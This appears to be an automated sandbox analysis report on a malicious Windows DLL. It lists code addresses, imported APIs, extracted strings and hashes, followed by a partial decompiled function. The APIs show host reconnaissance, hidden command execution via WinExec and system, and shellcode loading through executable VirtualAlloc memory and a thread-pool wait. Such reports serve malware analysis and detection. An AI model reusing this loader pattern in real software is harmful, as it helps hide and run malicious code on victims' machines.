0x100051fa
0x10005210
0x10005210
0x10005212
0x10005217
0x00000000
0x100051fc
0x100051fc
0x100051ff
0x10005204
0x1000520a
0x00000000
0x00000000
0x00000000
0x00000000
0x1000520a
0x100051fa
0x10005192
0x10005192
0x10005198
0x10005199
0x100051a1
0x100051b7
0x100051b7
0x100051b9
0x100051be
0x00000000
0x100051a3
0x100051a3
0x100051a6
0x100051ab
0x100051b1
0x00000000
0x00000000
0x00000000
0x00000000
0x100051b1
0x100051a1
0x10005190
0x10004d30
0x10004d30
0x10004d3e
0x10004d40
0x10004d44
0x10004d49
0x10004d51
0x10004d82
0x10004d89
0x10004d98
0x10004d53
0x10004d56
0x10004d59
0x10004d5e
0x10004d60
0x10004d60
0x10004d64
0x10004d6d
0x10004d72
0x10004d75
0x10004d75
0x10004da0
0x10004dad
0x10004db7
0x10004dba
0x10004dc0
0x10004dc7
0x10004dcc
0x10004dd4
0x10004ddb
0x10004de2
0x10004de5
0x10004de9
0x10004df2
0x10004e23
0x10004e31
0x10004e41
0x10004e4b
0x10004e55
0x10004e5c
0x10004e76
0x10004e84
0x10004e90
0x10004e97
0x10004eab
0x10004ead
0x10004ead
0x10004ec0
0x10004eca
0x10004ed4
0x10004edb
0x10004ee0
0x10004ee3
0x10004ee7
0x10004ee9
0x10004ef1
0x10004ef8
0x10004f04
0x10004f07
0x10004f0c
0x10004f0f
0x10004f1c
0x10004f27
0x10004f2b
0x10004f36
0x10004f47
0x10004f4c
0x10004f5c
0x10004f66
0x10004f6c
0x10004f75
0x10004fa6
0x10004fa6
0x10004faa
0x10004fb0
0x10004fba
0x10004fc4
0x10004fce
0x10004fff
0x10004fff
0x10005003
0x10005009
0x10005013
0x1000501d
0x10005027
0x10005058
0x10005058
0x1000505c
0x10005065
0x00000000
0x10005067
0x10005067
0x1000506d
0x1000506e
0x10005076
0x1000508c
0x1000508c
0x1000508e
0x10005093
0x00000000
0x10005078
0x10005078
0x1000507b
0x10005080
0x10005086
0x00000000
0x00000000
0x00000000
0x00000000
0x10005086
0x10005076
0x10005029
0x10005029
0x1000502f
0x10005030
0x10005038
0x1000504e
0x1000504e
0x10005050
0x10005055
0x00000000
0x1000503a
0x1000503a
0x1000503d
0x10005042
0x10005048
0x00000000
0x00000000
0x00000000
0x00000000
0x10005048
0x10005038
0x10004fd0
0x10004fd0
0x10004fd6
0x10004fd7
0x10004fdf
0x10004ff5
0x10004ff5
0x10004ff7
0x10004ffc
0x00000000
0x10004fe1
0x10004fe1
0x10004fe4
0x10004fe9
0x10004fef
0x00000000
0x00000000
0x00000000
0x00000000
0x10004fef
0x10004fdf
0x10004f77
0x10004f77
0x10004f7d
0x10004f7e
0x10004f86
0x10004f9c
0x10004f9c
0x10004f9e
0x10004fa3
0x00000000
0x10004f88
0x10004f88
0x10004f8b
0x10004f90
0x10004f96
0x00000000
0x00000000
0x00000000
0x00000000
0x10004f96
0x10004f86
0x10004df4
0x10004df4
0x10004dfa
0x10004dfb
0x10004e03
0x10004e19
0x10004e19
0x10004e1b
0x10004e20
0x00000000
0x10004e05
0x10004e05
0x10004e08
0x10004e0d
0x10004e13
0x00000000
0x00000000
0x00000000
0x00000000
0x10004e13
0x10004e03
0x10004df2
0x10004d2a
0x10004d17
0x10004c96
0x10004c96
0x10004c99
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c99
0x10004c00
0x10004c00
0x10004c03
0x00000000
0x1000564c
0x1000564c
0x10005651
0x10005653
0x1000565b
0x1000565f
0x10005660
0x10005665
0x1000566e
0x10005682
0x10005685
0x1000568c
0x10005697
0x100056a1
0x100056b9
0x100056c7
0x100056c7
0x100056d4
0x100056dc
0x100056dc
0x100056e7
0x100056f3
0x100056ff
0x10005705
0x1000570e
0x1000573f
0x1000573f
0x10005745
0x1000574f
0x10005759
0x10005763
0x10005794
0x10005794
0x1000579d
0x100057ce
0x100057ce
0x100057d4
0x100057de
0x100057e8
0x100057f2
0x1000581f
0x1000581f
0x10005828
0x1000582a
0x10005830
0x10005831
0x10005839
0x1000583b
0x1000583e
0x10005849
0x00000000
0x00000000
0x10005849
0x00000000
0x10005839
0x100057f4
0x100057f4
0x100057fa
0x100057fb
0x10005803
0x10005815
0x10005815
0x10005817
0x1000581c
0x00000000
0x10005805
0x10005805
0x10005808
0x1000580d
0x10005813
0x00000000
0x00000000
0x00000000
0x00000000
0x10005813
0x10005803
0x1000579f
0x1000579f
0x100057a5
0x100057a6
0x100057ae
0x100057c4
0x100057c4
0x100057c6
0x100057cb
0x00000000
0x100057b0
0x100057b0
0x100057b3
0x100057b8
0x100057be
0x00000000
0x00000000
0x00000000
0x00000000
0x100057be
0x100057ae
0x10005765
0x10005765
0x1000576b
0x1000576c
0x10005774
0x1000578a
0x1000578a
0x1000578c
0x10005791
0x00000000
0x10005776
0x10005776
0x10005779
0x1000577e
0x10005784
0x00000000
0x00000000
0x00000000
0x00000000
0x10005784
0x10005774
0x10005710
0x10005710
0x10005716
0x10005717
0x1000571f
0x10005735
0x10005735
0x10005737
0x1000573c
0x00000000
0x10005721
0x10005721
0x10005724
0x10005729
0x1000572f
0x1000584b
0x1000584b
0x10005851
0x10005851
0x10005853
0x00000000
0x00000000
0x00000000
0x1000572f
0x1000571f
0x10005860
0x10005877
0x10005877
0x10004c03
0x00000000
0x10005618
0x10005618
0x1000561d
0x1000561f
0x10005627
0x1000562b
0x1000562c
0x10005637
0x10005638
0x1000563e
0x00000000
0x10003b83
0x10003b83
0x10003b85
0x10003b88
0x00000000
0x10003b8a
0x10003b94
0x10003b9e
0x10003ba5
0x10003ba7
0x10003ba9
0x10003bb3
0x10003bb5
0x10003bbf
0x10003bc2
0x10003bc9
0x10003bc9
0x10003bc9
0x00000000

APIs

Sleep.KERNELBASE(00000017,98F8AC3B,?,?,?,100097D1,000000FF,?,10005885), ref: 10003B4B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(APPDATA,?,?,?,100097D1,000000FF,?,10005885), ref: 10003B5C
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(TEMP,00000000,00000001), ref: 10003BA5
signal.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,10003B00,1000A5B4,00000001,1000A2E5,00000000,00000000,00000001), ref: 10003C5D
GetComputerNameW.KERNEL32 ref: 10003C74
memmove.VCRUNTIME140(?,NONE,00000006), ref: 10003CB6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?), ref: 10003E63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?), ref: 10003EE3
GetUserNameW.ADVAPI32(?,?), ref: 10003F01
memmove.VCRUNTIME140(?,NONE,00000006), ref: 10003F43

Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
Part of subcall function 100079E0: memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2

Part of subcall function 100079E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
Part of subcall function 100079E0: memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

Part of subcall function 100070C0: memmove.VCRUNTIME140(?,?,?,?,98F8AC3B,00000001), ref: 1000716B
Part of subcall function 100070C0: memmove.VCRUNTIME140(?,?,?,?,00000000,?,?,?,98F8AC3B,00000001), ref: 100071C0

memmove.VCRUNTIME140(?,00000000,?,?), ref: 100040A4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?), ref: 10004104
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?), ref: 10004184
memmove.VCRUNTIME140(?,00000000,?,00000006), ref: 100041F1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000006), ref: 10004248
NetWkstaGetInfo.NETAPI32(00000000,00000064,?), ref: 1000426D

Part of subcall function 100079E0: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 10007B5E

memmove.VCRUNTIME140(?,00000000,?,?,?,?,?,?,?,00000006), ref: 1000439C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,?,?,?,?,?,00000006), ref: 100043F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,?,?,?,?,?,00000006), ref: 10004477
memmove.VCRUNTIME140(?,NONE,00000006), ref: 100044C1
NetApiBufferFree.NETAPI32(?,00000000,?,?,?,?,?,?,?,00000006), ref: 100044F4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10004581
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,00000000), ref: 100045F1
memset.VCRUNTIME140(?,00000000,000000B0,1000A2E5,00000000,00000000,00000000), ref: 10004640
Sleep.KERNELBASE(00005DC0,00000000,00000000,00000000), ref: 10004666
memmove.VCRUNTIME140(?,.txt,00000004,?,00000000,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 10004D6D
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(?,?,00000000,?,00000022,?,00000004,?,.txt,00000004,?,00000000,,00000000,?,00000018), ref: 10004E84
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000004,?,.txt,00000004,?,00000000,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 10004EAD
WinExec.KERNEL32 ref: 10004F66
memmove.VCRUNTIME140(00000000,.txt,00000004), ref: 10005113
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(?,?,00000000,?,00000022,?,00000004,?,.txt,00000004), ref: 100052D4
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000004,?,.txt,00000004), ref: 100052FD
system.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000004,?,.txt,00000004), ref: 1000532F
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000010,?,?,?,?,.txt,00000004), ref: 1000542F
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000010), ref: 1000545A
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 10005479
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 10005490
memmove.VCRUNTIME140(00000000,?,?), ref: 100054A5
CreateThreadpoolWait.KERNEL32 ref: 100054B2
SetThreadpoolWait.KERNEL32(00000000,00000000,00000000), ref: 100054BC
WinExec.KERNEL32 ref: 10005588
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(?,?,?,?,00000018,00000014,Function_00005A50,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 100056C7
??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140(?,00000018,00000014,Function_00005A50,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 100056E7
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 100056F3
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 100056FF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 1000584B

Part of subcall function 100070B0: ?_Xout_of_range@std@@YAXPBD@Z.MSVCP140(invalid string position,1000593D,00000000,00000000,?,10003A9A,00000000,00000009,-00000009,,00000000,,00000000,1000A2E5,1000A2E5), ref: 100070B5

Strings

.txt, xrefs: 10004D67, 10004D7D, 1000510D, 10005123
RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw, xrefs: 10004EFF
APPDATA, xrefs: 10003B57
+, xrefs: 1000568C
d, xrefs: 10004D23
TEMP, xrefs: 10003B99
d, xrefs: 10005096
NONE, xrefs: 10003C90, 10003F1D, 1000449B
200, xrefs: 10004CAE
404, xrefs: 10004C2A
start /i /min /b start /i /min /b start /i /min /b , xrefs: 10005309
KJKLO, xrefs: 10004515, 10004918
, xrefs: 10004A41
true, xrefs: 10004BA4

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemmove$D@std@@@std@@U?$char_traits@$memcpy$?setstate@?$basic_ios@?write@?$basic_ostream@CreateExecNameSleepThreadpoolV12@Waitgetenvstrtoul$??1?$basic_ios@??1?$basic_ostream@??1?$basic_streambuf@?setg@?$basic_streambuf@AllocBufferComputerD00@EventFreeInfoUserVirtualWkstaXout_of_range@std@@__std_exception_copymemsetsignalsystem
String ID: $+$.txt$200$404$APPDATA$KJKLO$NONE$RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw$TEMP$d$d$start /i /min /b start /i /min /b start /i /min /b $true
API String ID: 2774390350-1330494478
Opcode ID: 1b2513c584ee31e30bdf3a6e63586e2c29248e2fadf541b9356ff8ca2de402c4
Instruction ID: 21cc17b14a82e3766dd6a82ab784a495292ce26fdc0e4bf817945fb4d6268398
Opcode Fuzzy Hash: 1b2513c584ee31e30bdf3a6e63586e2c29248e2fadf541b9356ff8ca2de402c4
Instruction Fuzzy Hash: 5403C170A002599BEB24CB28CC88FDDB7B5EB45344F5042D8E4D9A7299DBB9A7C4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001DB0, Relevance: 77.1, APIs: 33, Strings: 10, Instructions: 1866
networkCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E10001DB0(void* __ebx, signed int __ecx, void __edx, void* __edi, void* __esi, char _a4, int _a20, void _a24, char _a28, signed int _a44, intOrPtr _a48) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v23;
				char _v556;
				char _v1016;
				char _v1036;
				char _v1496;
				char _v1516;
				intOrPtr _v1520;
				intOrPtr _v1524;
				char _v1540;
				void _v1544;
				int _v1548;
				char _v1564;
				void _v1568;
				intOrPtr _v1572;
				char _v1588;
				void _v1592;
				int _v1596;
				char _v1612;
				void _v1616;
				int _v1620;
				char _v1636;
				void _v1640;
				int _v1644;
				char _v1660;
				void _v1664;
				signed int _v1668;
				char _v1684;
				intOrPtr _v1688;
				char _v1692;
				void _v1696;
				int _v1700;
				char _v1716;
				char _v1740;
				char _v1760;
				int _v1764;
				int _v1768;
				char _v1772;
				char _v2172;
				signed int _v2176;
				signed int _v2180;
				signed int _v2184;
				signed int _v2188;
				char _v2192;
				char* _v2196;
				int _v2200;
				signed int _v2204;
				signed int _v2208;
				void _v2212;
				int _v2216;
				char _v2232;
				void* _v2236;
				void* _v2240;
				int* _v2244;
				void _v2248;
				int _v2252;
				char _v2268;
				void _v2272;
				int _v2276;
				char _v2292;
				void _v2296;
				int _v2300;
				char _v2316;
				void _v2320;
				int _v2324;
				char _v2340;
				void _v2344;
				int _v2348;
				char _v2364;
				void _v2368;
				int _v2372;
				char _v2388;
				void _v2392;
				int _v2396;
				char _v2412;
				void _v2416;
				int _v2420;
				char _v2436;
				void _v2440;
				int _v2444;
				char _v2460;
				signed int _v2464;
				void _v2468;
				int _v2472;
				char _v2488;
				signed int _t655;
				signed int _t656;
				signed int _t659;
				signed int _t670;
				char* _t671;
				char* _t680;
				intOrPtr _t682;
				intOrPtr* _t686;
				intOrPtr* _t688;
				signed int _t689;
				int _t691;
				char _t702;
				signed int _t712;
				char* _t713;
				char* _t715;
				char* _t723;
				char* _t728;
				char* _t731;
				char* _t736;
				char* _t738;
				char* _t746;
				char* _t751;
				signed int _t753;
				signed int _t754;
				signed int _t769;
				signed int _t773;
				intOrPtr _t803;
				void _t804;
				intOrPtr _t810;
				intOrPtr _t813;
				intOrPtr _t816;
				intOrPtr _t819;
				intOrPtr _t822;
				intOrPtr _t825;
				intOrPtr _t828;
				intOrPtr _t834;
				intOrPtr _t837;
				intOrPtr _t840;
				intOrPtr _t843;
				intOrPtr _t846;
				intOrPtr _t849;
				intOrPtr _t852;
				intOrPtr _t855;
				intOrPtr _t858;
				char _t869;
				char _t884;
				intOrPtr _t891;
				intOrPtr _t893;
				intOrPtr _t899;
				intOrPtr _t905;
				intOrPtr _t908;
				char _t912;
				intOrPtr _t916;
				intOrPtr _t919;
				intOrPtr _t922;
				intOrPtr _t925;
				intOrPtr _t928;
				signed int _t932;
				intOrPtr _t936;
				int* _t937;
				int _t938;
				int _t942;
				void* _t943;
				void _t945;
				intOrPtr _t948;
				void _t951;
				intOrPtr _t954;
				void* _t958;
				intOrPtr _t962;
				void* _t965;
				void* _t966;
				int _t970;
				intOrPtr _t978;
				void* _t981;
				char* _t988;
				void* _t992;
				signed int _t994;
				char _t1003;
				int _t1009;
				char* _t1012;
				signed int _t1016;
				int _t1020;
				int _t1022;
				int _t1025;
				int _t1030;
				int _t1033;
				signed int _t1035;
				int _t1037;
				intOrPtr* _t1039;
				intOrPtr _t1074;
				intOrPtr _t1075;
				intOrPtr _t1076;
				void* _t1077;
				intOrPtr _t1078;
				void* _t1079;
				intOrPtr _t1080;
				char _t1081;
				char _t1082;
				intOrPtr _t1083;
				intOrPtr _t1084;
				intOrPtr _t1085;
				intOrPtr _t1086;
				intOrPtr _t1087;
				char _t1088;
				intOrPtr _t1089;
				intOrPtr _t1090;
				char _t1092;
				void* _t1093;
				char _t1094;
				char _t1095;
				char _t1096;
				intOrPtr _t1097;
				intOrPtr _t1098;
				intOrPtr* _t1099;
				intOrPtr* _t1101;
				char _t1103;
				char _t1104;
				char _t1105;
				char _t1106;
				char _t1107;
				void* _t1114;
				void* _t1116;
				void** _t1119;
				char _t1122;
				void* _t1123;
				void* _t1124;
				char _t1125;
				void* _t1126;
				char _t1130;
				void _t1131;
				void* _t1132;
				signed int _t1134;
				void _t1136;
				void _t1137;
				void _t1138;
				void _t1139;
				void _t1140;
				intOrPtr _t1141;
				void _t1145;
				void _t1147;
				void _t1148;
				void _t1149;
				void _t1150;
				void _t1153;
				signed int _t1155;
				void _t1157;
				void _t1160;
				int _t1161;
				void _t1162;
				void _t1164;
				void _t1167;
				void _t1168;
				void _t1169;
				void _t1170;
				void _t1171;
				void _t1172;
				void _t1173;
				void _t1174;
				void _t1175;
				void _t1176;
				void _t1177;
				intOrPtr* _t1178;
				void _t1179;
				void _t1180;
				void _t1181;
				void _t1182;
				void _t1183;
				intOrPtr _t1184;
				void* _t1185;
				void* _t1186;
				void* _t1187;
				intOrPtr _t1188;
				void* _t1189;
				intOrPtr _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;
				intOrPtr _t1201;
				char _t1202;
				void* _t1203;
				intOrPtr _t1204;
				void* _t1205;
				void* _t1206;
				void* _t1207;
				void* _t1208;
				void* _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				signed int _t1218;
				signed int _t1219;
				signed int _t1220;
				char* _t1223;
				signed int _t1225;
				char* _t1227;
				intOrPtr _t1228;
				signed int _t1229;
				intOrPtr _t1231;
				signed int _t1232;
				char* _t1234;
				signed int _t1235;
				signed int _t1236;
				signed int _t1237;
				void* _t1240;
				void** _t1243;
				signed int _t1244;
				char* _t1245;
				signed int _t1248;
				char* _t1250;
				char* _t1251;
				char* _t1252;
				void _t1253;
				void _t1254;
				int _t1255;
				signed int _t1256;
				void* _t1257;
				signed int _t1258;
				void* _t1259;
				void* _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1267;
				void* _t1268;
				void* _t1271;
				void* _t1272;
				void* _t1273;
				void* _t1274;
				signed int _t1276;
				void* _t1278;
				void* _t1279;
				signed int _t1280;
				signed int _t1282;
				int _t1285;
				void* _t1286;
				void* _t1287;
				void* _t1290;
				signed int _t1291;
				void* _t1292;
				void* _t1293;
				void* _t1294;
				void* _t1295;

				_t1133 = __edx;
				_t985 = __ebx;
				_t1280 = _t1282;
				_t655 =  *0x1000d004; // 0x98f8ac3b
				_t656 = _t655 ^ _t1280;
				_v20 = _t656;
				 *[fs:0x0] =  &_v16;
				_v2196 = __ecx;
				_v2180 = __ecx;
				_t1218 = 0;
				_v2464 = __ecx;
				_v2184 = 0;
				_v8 = 2;
				__imp___time64(0, _t656, __edi, __esi,  *[fs:0x0], E10009626, 0xffffffff, _t1279);
				_v1692 = __ecx;
				_t659 =  &_v1692;
				_v1688 = __edx;
				__imp___localtime64(_t659); // executed
				_v2180 = _t659;
				_v2208 = 0xffffffff;
				_v2176 = 0;
				_v1668 = 0;
				_v1664 = 0xf;
				_v1684 = 0;
				E10006CC0(__ebx,  &_v1684, __edx, 0x1000a348, 0x1e7); // executed
				_t1285 = _t1282 - 0x9a8 + 8 - 0x18;
				_v8 = 3;
				_t988 = _t1285;
				_v2200 = _t1285;
				 *((intOrPtr*)(_t988 + 0x10)) = 0;
				 *(_t988 + 0x14) = 0xf;
				 *_t988 = 0;
				E10006CC0(__ebx, _t988, __edx, 0x1000a530, 2);
				_t1286 = _t1285 - 0x18;
				_v8 = 4;
				E10005BC0(_t1286, __edx,  &_v1684);
				_v8 = 3;
				E100019B0( &_v1564, __edx, 0);
				_t1287 = _t1286 + 0x30;
				_push(E10005A50);
				_push(E10005BA0);
				_push(0x14);
				_push(0x18);
				_v8 = 5;
				_push( &_v1036);
				E10008832();
				_push(E10005A50);
				_push(E10005BA0);
				_push(0x14);
				_push(0x18);
				_v8 = 6;
				_push( &_v1516);
				E10008832();
				_v8 = 7;
				_t1243 =  &_v1036;
				_v2188 = 0;
				while(1) {
					_t992 = E10005940( &_v1564, 0x1000a534, _t1218);
					_v2236 = _t992;
					if(_t992 <= 0) {
						break;
					}
					_t970 = _v1548;
					_v2216 = 0;
					_v2212 = 0xf;
					_v2232 = 0;
					if(_t970 < _t1218) {
						L268:
						_t943 = E100070B0(_t992, _t1133);
						asm("int3");
						asm("int3");
						asm("int3");
						return _t943;
					}
					_t1128 =  <  ? _t970 - _t1218 : _t992 - _t1218;
					_t973 =  >=  ? _v1564 :  &_v1564;
					_t974 = ( >=  ? _v1564 :  &_v1564) + _t1218;
					E10006CC0(_t985,  &_v2232, _t1133, ( >=  ? _v1564 :  &_v1564) + _t1218,  <  ? _t970 - _t1218 : _t992 - _t1218);
					_v2184 = _v2184 | 0x00000002;
					if(_t1243 ==  &_v2232) {
						_t1133 = _v2212;
						__eflags = _t1133 - 0x10;
						if(_t1133 < 0x10) {
							goto L14;
						} else {
							_t1130 = _v2232;
							_t1133 = _t1133 + 1;
							_t978 = _t1130;
							__eflags = _t1133 - 0x1000;
							if(_t1133 < 0x1000) {
								L13:
								_push(_t1133);
								E10008291(_t978, _t1130);
								_t1287 = _t1287 + 8;
								goto L14;
							} else {
								_t1130 =  *((intOrPtr*)(_t1130 - 4));
								_t1142 = _t1133 + 0x23;
								_t978 = _t978 - _t1130 + 0xfffffffc;
								__eflags = _t978 - 0x1f;
								if(_t978 > 0x1f) {
									goto L109;
								} else {
									goto L13;
								}
							}
						}
					} else {
						_t1131 = _t1243[5];
						if(_t1131 < 0x10) {
							L9:
							asm("movups xmm0, [ebp-0x8b4]");
							_t1243[4] = 0;
							_t1243[5] = 0xf;
							 *_t1243 = 0;
							asm("movups [esi], xmm0");
							asm("movq xmm0, [ebp-0x8a4]");
							asm("movq [esi+0x10], xmm0");
							L14:
							_t1243 =  &(_t1243[6]);
							_t670 = _v2188 + 1;
							_t1218 = _v2236 + 1;
							_v2188 = _t670;
							if(_t670 <= 0x14) {
								continue;
							} else {
								L17:
								_v2236 = 0;
								if(_t670 <= 0) {
									_t1219 = _v2188;
									goto L55;
								} else {
									_t936 = 0;
									_v2192 = 0;
									do {
										_t1133 =  &_v1016 + _t936;
										_t1278 =  &_v1036 + _t936;
										_v2204 = _t1133;
										_t992 = _t1278;
										_v2240 = _t1278;
										if( *_t1133 >= 0x10) {
											_t992 =  *_t1278;
											_v2240 = _t992;
										}
										_t937 = _t1280 + _t936 - 0x3f8;
										_v2244 = _t937;
										_t938 =  *_t937;
										_v2200 = _t938;
										if(_t938 == 0) {
											L51:
											__eflags =  &_v1516 + _v2192;
											E10006CC0(_t985,  &_v1516 + _v2192, _t1133, 0x1000a2e5, 0);
											goto L52;
										} else {
											_t1240 = memchr(_t992, 0x2f, _t938);
											_t1287 = _t1287 + 0xc;
											if(_t1240 == 0) {
												goto L51;
											} else {
												_t1220 = _t1240 - _v2240;
												if(_t1220 <= 0) {
													goto L51;
												} else {
													_t942 = _v2200;
													_v2216 = 0;
													_v2212 = 0xf;
													_v2232 = 0;
													if(_t942 < _t1220) {
														goto L268;
													}
													_t1214 = _v2204;
													_t1116 =  <  ? _t942 - _t1220 : _t992 | 0xffffffff;
													_t945 = _t1278;
													if( *_v2204 >= 0x10) {
														_t945 =  *_t1278;
													}
													E10006CC0(_t985,  &_v2232, _t1214, _t945 + _t1220, _t1116);
													_t948 = _v2192;
													_v2184 = _v2184 | 0x00000004;
													_t1119 =  &_v1516 + _t948;
													_v2200 = _t1119;
													if(_t1119 ==  &_v2232) {
														_t1133 = _v2212;
														__eflags = _t1133 - 0x10;
														if(_t1133 < 0x10) {
															goto L38;
														} else {
															_t1125 = _v2232;
															_t1133 = _t1133 + 1;
															_t962 = _t1125;
															__eflags = _t1133 - 0x1000;
															if(_t1133 < 0x1000) {
																L37:
																_push(_t1133);
																E10008291(_t962, _t1125);
																_t1287 = _t1287 + 8;
																goto L38;
															} else {
																_t1125 =  *((intOrPtr*)(_t1125 - 4));
																_t1142 = _t1133 + 0x23;
																_t962 = _t962 - _t1125 + 0xfffffffc;
																__eflags = _t962 - 0x1f;
																if(_t962 > 0x1f) {
																	goto L109;
																} else {
																	goto L37;
																}
															}
														}
													} else {
														_t965 = _t948 +  &_v1496;
														_v2240 = _t965;
														_t1133 =  *_t965;
														if(_t1133 < 0x10) {
															L33:
															asm("movups xmm0, [ebp-0x8b4]");
															 *(_t965 - 4) = 0;
															 *_t965 = 0xf;
															 *_t1119 = 0;
															asm("movups [ecx], xmm0");
															asm("movq xmm0, [ebp-0x8a4]");
															asm("movq [ecx+0x10], xmm0");
															L38:
															_v2216 = 0;
															_v2212 = 0xf;
															_v2232 = 0;
															_t1220 =  <  ?  *_v2244 : _t1220;
															_t951 = _t1278;
															if( *_v2204 >= 0x10) {
																_t951 =  *_t1278;
															}
															E10006CC0(_t985,  &_v2232, _t1133, _t951, _t1220);
															_v2184 = _v2184 | 0x00000008;
															if(_t1278 ==  &_v2232) {
																_t1133 = _v2212;
																__eflags = _t1133 - 0x10;
																if(_t1133 < 0x10) {
																	goto L52;
																} else {
																	_t1122 = _v2232;
																	_t1133 = _t1133 + 1;
																	_t954 = _t1122;
																	__eflags = _t1133 - 0x1000;
																	if(_t1133 < 0x1000) {
																		L50:
																		_push(_t1133);
																		E10008291(_t954, _t1122);
																		_t1287 = _t1287 + 8;
																		goto L52;
																	} else {
																		_t1122 =  *((intOrPtr*)(_t1122 - 4));
																		_t1142 = _t1133 + 0x23;
																		_t954 = _t954 - _t1122 + 0xfffffffc;
																		__eflags = _t954 - 0x1f;
																		if(_t954 > 0x1f) {
																			goto L109;
																		} else {
																			goto L50;
																		}
																	}
																}
															} else {
																_t1220 = _v2204;
																_t1123 =  *_t1220;
																if(_t1123 < 0x10) {
																	L46:
																	asm("movups xmm0, [ebp-0x8b4]");
																	 *_t1220 = 0xf;
																	 *_v2244 = 0;
																	 *_t1278 = 0;
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ebp-0x8a4]");
																	asm("movq [esi+0x10], xmm0");
																	goto L52;
																} else {
																	_t958 =  *_t1278;
																	_t1124 = _t1123 + 1;
																	if(_t1124 < 0x1000) {
																		L45:
																		_push(_t1124);
																		E10008291(_t958, _t958);
																		_t1287 = _t1287 + 8;
																		goto L46;
																	} else {
																		_t1142 =  *(_t958 - 4);
																		_t1124 = _t1124 + 0x23;
																		if(_t958 - _t1142 + 0xfffffffc > 0x1f) {
																			goto L109;
																		} else {
																			_t958 = _t1142;
																			goto L45;
																		}
																	}
																}
															}
														} else {
															_t966 =  *_t1119;
															_t1126 = _t1133 + 1;
															if(_t1126 < 0x1000) {
																L32:
																_push(_t1126);
																E10008291(_t966, _t966);
																_t1119 = _v2200;
																_t1287 = _t1287 + 8;
																_t965 = _v2240;
																goto L33;
															} else {
																_t1142 =  *(_t966 - 4);
																_t1126 = _t1126 + 0x23;
																if(_t966 - _t1142 + 0xfffffffc > 0x1f) {
																	goto L109;
																} else {
																	_t966 = _t1142;
																	goto L32;
																}
															}
														}
													}
												}
											}
										}
										goto L74;
										L52:
										_t1114 = _v2236 + 1;
										_t1219 = _v2188;
										_t936 = _v2192 + 0x18;
										_v2236 = _t1114;
										_v2192 = _t936;
									} while (_t1114 < _t1219);
									L55:
									_t671 =  &_v2172;
									__imp__#115(0x202, _t671); // executed
									if(_t671 == 0) {
										asm("xorps xmm0, xmm0");
										_t1244 =  *0x1000d014; // 0x14
										asm("movups [ebp-0x6e8], xmm0");
